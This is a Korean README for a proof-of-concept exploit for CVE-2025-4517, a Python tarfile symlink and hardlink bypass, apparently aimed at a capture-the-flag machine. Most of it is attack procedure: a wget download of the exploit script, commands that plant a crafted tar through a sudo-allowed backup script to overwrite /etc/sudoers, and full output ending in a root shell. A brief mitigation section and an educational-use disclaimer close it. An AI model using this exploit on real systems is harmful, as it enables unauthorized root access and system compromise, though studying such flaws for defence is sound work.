
CVE-2025-4517용 권한 상승 스크립트
이 익스플로잇과 설명은 AI에 의해 작성되었습니다. 오류나 문제를 발견하시면 알려주세요! 이 익스플로잇은 테스트되었고 작동이 확인되었습니다. 감사합니다!
이 익스플로잇은 CVE-2025-4517을 활용합니다. 이는 Python의 tarfile 모듈에서 심볼릭 링크 경로 탐색(symlink path traversal)과 하드링크 조작을 조합하여 임의 파일 쓰기를 가능하게 하는 심각한 취약점입니다. 이는 Python 3.12에 도입된 filter="data" 보호를 우회합니다.
이 취약점은 Python의 tarfile.extractall()이 다음 요소 간 상호작용을 처리하는 방식의 결함을 악용합니다:
filter="data" 매개변수는 직접적인 심볼릭 링크 이스케이프를 차단하지만, 하드링크 기술이 이 보호를 우회함1. 깊은 중첩 디렉터리 생성 (경로 혼동)
└─ 247자 디렉터리 이름을 16단계 깊이로 반복
2. 경로 탐색을 위한 심볼릭 링크 체인 구축
└─ 디렉터리 트리를 통해 위로 해석되는 심볼릭 링크 생성
3. 대상 디렉터리(/etc)로 이스케이프 심볼릭 링크 생성
└─ 최종 심볼릭 링크가 추출 경계 밖을 가리킴
4. 이스케이프 심볼릭 링크를 통해 하드링크 생성
└─ 하드링크: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. 하드링크에 내용 쓰기
└─ "sudoers_link"에 쓰면 실제로 /etc/sudoers에 기록됨
스크립트: /opt/backup_clients/restore_backup_clients.py
# 취약한 코드 조각
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Sudo 권한:
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/에 쓰기 권한# 익스플로잇 다운로드
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# 대상 시스템으로 이동
# 익스플로잇 실행
./exploit.py
# 또는 Python으로 실행
python3 exploit.py
각 단계를 수동으로 실행하려는 경우:
# 1. 익스플로잇 tar 생성
python3 exploit.py --create-only
# 2. 대상에 배포
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. 취약한 스크립트를 통해 실행
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. sudoers 수정 확인
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. 루트 권한 획득
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Symlink + Hardlink Bypass를 통한 권한 상승 ║
╚═══════════════════════════════════════════════════════════╝
[*] 대상 사용자: wacky
[*] 사용자 wacky를 위한 익스플로잇 tar 생성 중...
[*] 1단계: 중첩 디렉터리 구조 구축 중...
[*] 2단계: 경로 탐색을 위한 심볼릭 링크 체인 생성 중...
[*] 3단계: /etc로 이스케이프 심볼릭 링크 생성 중...
[*] 4단계: /etc/sudoers로 하드링크 생성 중...
[*] 5단계: sudoers 항목 작성 중...
[+] 익스플로잇 tar 생성 완료: /tmp/cve_2025_4517_exploit.tar
[*] 익스플로잇 배포 중: /opt/backup_clients/backups/backup_9999.tar
[+] 익스플로잇이 성공적으로 배포되었습니다
[*] 취약한 스크립트를 통해 추출 트리거 중...
[+] 백업: backup_9999.tar
[+] 스테이징 디렉터리: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] /opt/backup_clients/restored_backups/restore_pwn_9999에서 추출 완료
[+] 추출 완료
[*] 익스플로잇 성공 확인 중...
[+] 성공! 사용자 'wacky'가 sudoers에 추가됨
[+] 항목: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] 익스플로잇 성공!
[+] 사용자 'wacky'가 이제 모든 sudo 권한을 가짐
[+] sudo /bin/bash로 루트 권한 획득
============================================================
[?] 지금 루트 셸을 실행하시겠습니까? (y/n): y
[*] 루트 셸 실행 중...
[*] 실행: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/etc/sudoers 수정 python3 --version # 버전 확인
# 추출 전 의심스러운 멤버 확인
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("심볼릭 링크/하드링크 허용되지 않음")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("경로 탐색 감지됨")
# 백업 스크립트 sudo 액세스 제거 또는 제한
visudo
# 추출 전 tar 내용 확인
tar -tzf archive.tar | grep -E '\.\./|^/'
/etc/sudoers와 같은 중요 파일 모니터링 # AIDE 또는 유사 IDS 설정
aide --check
이 익스플로잇은 교육 목적으로만 제공되며 다음 용도로 사용됩니다:
저자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.
원본 연구: 여러 보안 연구원 (참고 자료 참조)
MIT 라이선스 - 자세한 내용은 LICENSE 파일 참조
마지막 업데이트: 2026년 3월